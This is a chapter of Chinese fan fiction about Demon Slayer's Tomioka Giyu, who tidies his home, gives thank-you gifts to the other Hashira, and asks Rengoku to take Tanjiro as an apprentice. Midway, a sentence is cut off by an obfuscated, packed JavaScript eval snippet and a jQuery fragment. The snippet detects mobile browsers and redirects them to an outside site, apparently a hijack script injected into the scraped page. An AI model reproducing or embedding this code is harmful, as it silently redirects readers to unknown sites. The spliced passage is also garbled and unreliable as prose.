57.第 57 章
作品:《【义勇个人向】风雪夜归人》 富冈义勇舒舒服服泡完澡,拿毛巾擦干了头发上和身上的水。他吹干头发,难得没把头发扎起来,任由长发披散在身后。
富冈义勇伸了个懒腰,慢慢晃到厨房开始做吃的。他不是很想动,也不打算做很复杂的东西,只煮了一碗面出来。
等吃完饭,洗好碗,富冈义勇环视着屋子。
很久没住人,房间里积了不少灰。
他打了个哈欠,往卧室走去。
明天打扫一下家里,再添置一些东西吧,屋里有些显得太空了。
等宽三郎回来的时候,富冈义勇已经铺好床,准备休息了。
“宽三郎,几位柱最近有时间吗?我想去给他们送些东西,再找炼狱说些事情。”富冈义勇躺在被子里,闭着眼睛问宽三郎。
宽三郎飞到他的身侧:“几位柱都去执行任务了,要过几天才会回来。”
富冈义勇睁开眼,皱眉问道:“全部去柱都执行任务了?”
宽三郎默然,扭头不去看他:“是的。”
“不叫我?”富冈义勇的困意散了几分。
宽三郎直接背过去身子,没有回答。
富冈义勇叹气,翻了个身,将被子盖好:“好,我知道了。明天先把家里打扫打扫吧,等他们回来,再告诉我一声。”
“宽三郎,你有没有喜欢的东西,往家里买一些吧。”
“还可以再买些花回来,茑子姐姐平时很喜欢养花。”
“厨房的餐具也可以买一些不同样式的,平时可以换着用。”
富冈义勇的声音越说越小。
宽三郎悄悄扭头看他,只看到富冈义勇的后脑勺。他轻翅轻脚地走过去,探头一看,就发现富冈义勇已经睡着了。
宽三郎松了口气,关了灯,落到富冈义勇的身侧和他一起休息。
晚安,义勇。
大扫除是一件很费事费力的工作。
扫尘,擦拭,清洗。
富冈义勇还准备添置些东西,一些房间的布置也要进行修改。
宽三郎干不了活,但可以帮富冈义勇出主意,和他一起商量东西该怎么放,或者需要买些什么。
空空荡荡的房子,终于有了生活的气息。
富冈义勇前前后后忙活了几天,总算把房子收拾好了。
这时候,宽三郎告诉他几个柱都执行完任务回来了。
面对富冈义勇的凝视,宽三郎只能沉默地移开视线。
他是乌鸦,更不想被主公罚去喂鱼。
富冈义勇移开视线,缓缓道:“好,我知道了。”
现在正是中午饭点,等吃过饭再去买东西找人吧。
富冈义勇这次没有自己做,而是出去吃的,去的还是那家面馆。
店主看到他的时候很激动,用力地拍了拍他的肩膀:“没事就好,没事就好。”
一年多没见过富冈义勇,店主总担心他出了什么事。现下又看见他,心里说不出的开心。
“想吃什么?我来给你做。”店主爽朗地笑着。
富冈义勇看了看菜单,见上面多了一些没见过的面,就随机选了一个。
这家店的面他几乎都吃过,都很好吃,他都喜欢。
“好!你在这等着,我这就去给你做,依旧管饱。哈哈哈哈哈哈。”店主一直担忧的心终于放下,整个人都轻松下来,煮面都感觉更有干劲了。
富冈义勇面容平静,找了个空地坐着,宽大的羽织将腰间的日轮刀遮盖住。
在和童磨一战后,羽织破损严重,是蝶屋的小护士们一点点修补起来的。
她们修补得很好,富冈义勇很感谢她们,只是奈何他被禁足,想送什么东西也送不了。
富冈义勇这次出门,除了去找炼狱杏寿郎商讨事情,还准备买些东西送人。
他之前养病那么久,蝶屋的医护人员都很照顾他,还有其他几个柱都经常过来帮他恢复状态。
他很想买些东西作为谢礼。
富冈义勇有给姐姐买礼物的经验,吃完饭买了不少漂亮的发饰和宝石,还买了很多好吃的点心。
他先去了宇髄天元的家,将一袋子宝石给了他。
宇髄天元正好在家,看着一脸认真的富冈义勇,他无奈一笑,到底是收下了宝石。
“后面再出任务,可要小心点了。”宇髄天元揉着富冈义勇的脑袋。
富冈义勇表情不变,依旧很平淡:“现在我也出不了任务,不会有事的。”
现在需要柱参与的任务都不叫他了,他能有什么事。
宇髄天元手上揉他脑袋的动作更快了。
这小子。
找完宇髄天元,富冈义勇去了甘露寺蜜璃的家里。
甘露寺蜜璃很喜欢研究甜点,富冈义勇就买了些材料和现成的点心给她,当然还有樱花饼。
甘露寺蜜璃见到富冈义勇的时候很是开心,脸上挂满了笑意,很是干脆地就收下了礼物,并邀请他进家里,想要请他吃甜点。
富冈义勇摇摇头拒绝了,说自己还有其他地方要去,改天再来打扰。
他有意无意地问了句:“甘露寺,你们前几天去忙什么了?”
甘露寺蜜璃乐呵呵地将东西抱住,挥手和富冈义勇告别:“富冈先生,路上小心。”
她是绝对不会说漏嘴的!
下一个地点是伊黑小芭内的家。伊黑小芭内对吃东西的欲望很小,但对海带丝情有独钟。富冈义勇就买了好多海带丝给他,还给镝丸买了不少口粮。
“……”伊黑小芭内看着手里的东西,又看着富冈义勇那过分纯净的双眼,最后收下了东西。
“富冈,我确实很讨厌你之前的性格,但现在的你,看上去好多了。”伊黑小芭内说道。
富冈义勇浅浅地弯了下唇:“嗯。我也觉得现在这样很好。”
血色的过去变成了最寻常的雪夜。
他不再害怕,也不再悲伤。
他会好好地活下去,过好每一天。
富冈义勇知道不死川实弥喜欢抹茶和萩饼,就买了一些送他。
不死川实弥别别扭扭地收了下来,摸着头问他:“主公和我说了,说他把装有我血液的试管交给你了。那个变成鬼的女孩不需要,你现在也用不上,就直接打碎丢掉吧。”
富冈义勇不解地看他:“为什么我会用不上?我已经想好用处了。”
不死川实弥立马瞪大眼看他:“你想干什么?先说好,现在你可不允许去杀鬼。拿我的血液去引诱恶鬼出现是我干的事,不是你能做的。”
富冈义勇恍然:“原来还能这样干。”
“……”不死川实弥。
看着不死川实弥有些崩溃的样子,富冈义勇难得坏心眼地笑笑:“血液我另有用处,不会害你去喂鱼的。”
不死川实弥怀疑地看着他:“你想干什么?”
富冈义勇眨了眨眼,双眼纯净又无辜:“等最终选拔召开柱合会议的时候,我会和你们商量,不会擅自行动的。”
现在还是保密吧。谁让他们先瞒着他的。
他又去不了别的地方,让这几人凑一起烦恼一下也并不是坏事。
不死川实弥攥紧双手,克制着想要揍人的欲.望。
这人的性格怎么还是这么讨厌。
告别不死川实弥,富冈义勇去了悲鸣屿行冥经常训练的瀑布。
悲鸣屿行冥喜欢吃焖好的米饭,但作为礼物就不太合适了。想到悲鸣屿行冥养着一只猫,富冈义勇就买了很多猫可以吃的东西。
“富冈,作为同伴,帮你是我们该做的事,你不必这么客气。”悲鸣屿行冥不想收下礼物,在他看来,他更该感谢富冈义勇。
解开他多年的疑惑,让他明白曾经的自己并非被背叛。
不止是他,其他几个人也都很感激富冈义勇让他们看到逝去之人的灵魂。
这是很大的恩情,宣之于口便显得太轻。
富冈义勇的性子平淡如水,最爱的只有一个萝卜鲑鱼,再加上禁足令,让大家想要为他做些什么都不行。
悲鸣屿行冥想到他们最近在商量的一件事,便打算试探一二:“富冈,听说你前些天回了狭雾山。灶门炭治郎和灶门祢豆子的情况怎么样?”
灶门兄妹的事,主公和他们几位柱都是知道的。
在富冈义勇禁足养伤的这段时间里,他们陆陆续续都去了一趟狭雾山,在鳞泷左近次没发现的情况下,悄悄观察了一段时间兄妹俩。
在鬼杀队与珠世展开合作以来,他们对鬼便没了一直以来的偏见。
富冈义勇回答:“炭治郎尚未完成鳞泷老师定下参加最终选拔的目标,祢豆子还在沉睡,身体状态还算平稳,新取到的血液也移交给珠世小姐了。”
“珠世小姐对比了之前的血液样本,猜测在最终选拔前后,祢豆子就可以醒过来了。”
悲鸣屿行冥点点头,这些事他也从主公那里听说了,问出了正题:“他们兄妹加入鬼杀队的事,你有什么安排吗?”
富冈义勇眨眨眼,然后笑着说:“不告诉你们,悲鸣屿先生。我的确有打算,但还不想告诉你们。”
悲鸣屿行冥转动念珠的手停下。
“你们都瞒了我这么久,我自然也要瞒一些事。”富冈义勇说得一本正经,“但请放心,无论我准备做什么,在最终选拔开始的柱合会议上,都会和你们商量。”
悲鸣屿行冥忍不住流下眼泪,原本毫无情绪波澜的他,终于有了鲜活的气息。
富冈义勇趁势说:“悲鸣屿先生,这些就当是给猫咪的礼物,我还要去蝶屋和找炼狱,就先走了。”
悲鸣屿行冥双手合十,轻声叹气,还是收下了礼物。
他知道,要是他不收下,富冈义勇还会变着法地找理由。
听着富冈义勇越走越远的脚步声,悲鸣屿行冥又忍不住流泪。
作为鬼杀队里年纪最大的人,看到富冈义勇如今的小情绪,心里充满了欣慰。
富冈义勇去了蝶屋一趟,将买的点心和发饰交给了蝴蝶香奈惠。
“不知道你们会不会喜欢,就买了很多。”富冈义勇语气如常,“照顾了我一年多,辛苦你们了。”
蝴蝶香奈惠看着快要铺满一桌子的东西,一时竟没有反应过来。
“蝴蝶,我还得去找炼狱,就先走了,这些东西你们拿去分。”富冈义勇也不等蝴蝶香奈惠反应,转身就直接离开了。
蝴蝶香奈惠正准备伸手叫住他,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314340|196476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就已经看不到他的背影了。
她无奈地笑笑,将这些东西清点了清点。
富冈先生还真是买了不少啊。
蝴蝶香奈惠失笑地摇头,也出了门,叫蝶屋的人都过来挑选喜欢的礼物。
在离开了蝶屋后,富冈义勇就直接去了炼狱杏寿郎的家,给他带了爱吃的红薯和红薯馅儿的点心。
不过等富冈义勇到的时候,炼狱杏寿郎正在洗澡,是炼狱千寿郎接待的他。
“哥哥很快就好,富冈先生在这里等一下吧。”炼狱千寿郎拿了点心和茶水过来,让富冈义勇坐在屋里等。
“好。”富冈义勇点点头,拿起一个点心直接吃起来。
炼狱千寿郎也不打扰他,出了房间继续做自己的事情。
富冈义勇一边看着外面的景色,一边吃着点心,倒也不算无聊。
等一盘点心被吃了一半的时候,炼狱杏寿郎进了屋子。
“富冈,我刚刚在洗澡,等久了吧。”炼狱杏寿郎的头发还有些潮湿,一看就是刚洗完简单擦了擦就过来的。
富冈义勇看着他的头发:“还好,没有很久。倒是炼狱,你的头发不吹干吗?”
“之前在蝶屋,如果我不吹头发就出浴室,是会被你们所有人骂的。”富冈义勇说得认真,也不知道他在抱怨,还是真的想用自己的经历来劝炼狱杏寿郎。
炼狱杏寿郎大声笑起来:“好。那富冈你再等一会,我这就去把头发吹干。”
富冈义勇理所应当地点点头:“不着急。我的时间很多,来找你也是想和你商量一件事。”
炼狱杏寿郎脸上的笑意微微僵住,轻咳了一下,就出门吹头去了。
富冈义勇的时间确实很多。虽然他不能出蝶屋的命令是解除了,但直到新一届新人的特训结束前,他都不被允许去执行任务。
鬼杀队的其他人也照旧不能朝他透露半分有关任务的消息。
富冈义勇不是没有怨念,但完全无力抵抗,只能听任安排。
又过了一会,炼狱杏寿郎回来了,这次他的身上没有了一丝水汽。
“富冈,你要和我说什么事?”炼狱杏寿郎问道。
富冈义勇简单描述了一下灶门炭治郎用出来的火之神神乐,并告诉他这有可能是以祭祀舞蹈形传承下来的日之呼吸。
“日之呼吸吗?”炼狱杏寿郎眉头皱起,“在炎柱手记里有记载使用日之呼吸的初代剑士与鬼舞辻无惨战斗的记录。但有关日之呼吸的具体招式和方法,却并没有提及。”
富冈义勇点头,补充道:“在鬼杀队尚存的资料里,也只提到日之呼吸是所有呼吸法的起源,使用方法却已经失传。”
“如果那个少年使用的火之神神乐真的是日之呼吸,他们兄妹加入鬼杀队的事,就更不容易了。”炼狱杏寿郎的表情有些严肃起来。
妹妹变成了鬼,昏迷不醒。
哥哥疑似掌握着失传已久的日之呼吸。
炼狱杏寿郎看向富冈义勇,不禁调笑了一句:“该说不愧是富冈你看上的人吗?”
富冈义勇端起茶杯,神情不变地喝了一口:“我这次来,就是想问问你有没有兴趣等他加入鬼杀队后,收他做继子。”
炼狱杏寿郎倒是没想到这种情况,只以为富冈义勇是来询问他有关日之呼吸的事情。
他不解地看向富冈义勇:“为什么?富冈你不准备亲自教吗?”
富冈义勇低头,看着手中的杯子,澄澈的茶水倒映着他的脸庞。
“炭治郎在使用火之神神乐时,显化出来的元素是红色的火,并非是太阳。想要掩饰,只能让人认为这是炎之呼吸派生出来的新呼吸法。”
“水和炎都属于五大呼吸法,水更是无法派生出有关火的呼吸法。”
富冈义勇抬头,看向炼狱杏寿郎:“我没办法帮他隐藏日之呼吸一事。炼狱,你能帮我这个忙吗?”
炼狱杏寿郎叹气:“富冈,有时候真的会觉得你理智得过头。你亲自捡到的人,又挂心这么久,真的甘心让给我吗?”
炼狱杏寿郎不等富冈义勇回答,就径自笑了笑:“你不甘心,但还是会这么做。因为这么做对于灶门少年来说,是最好的选择。”
富冈义勇点头:“我当初选择插手他们兄妹的事,自然要负责到底。”
“我答应你就是,但富冈,别总委屈自己。”炼狱杏寿郎道。
富冈义勇眨眨眼:“虽然确实很不甘心,但也说不上委屈。”
“我要求炭治郎在最终选拔时只能使用水之呼吸,所以他是我的师弟这一事实并不会变。”
炼狱杏寿郎无奈地笑笑,也不和富冈义勇争辩。
现有的几个柱里,只有蝴蝶香奈惠收了栗花落香奈乎作为继子。其他人不是找不到合适的人,就是看上的那些觉得训练太苦撑不下去。
富冈义勇难得有一个师弟,这个人更是他继子的最佳人选。如果换做其他人,都不会直接拱手让人。
在鬼杀队里,能同时使用多种呼吸法的人并不算稀奇。作为水柱的继子,掌握多种呼吸法,也并非不可能。
只是富冈义勇替灶门炭治郎选择了一条最稳妥,最不会引人非议的路。
水之温柔,无声,无痕。

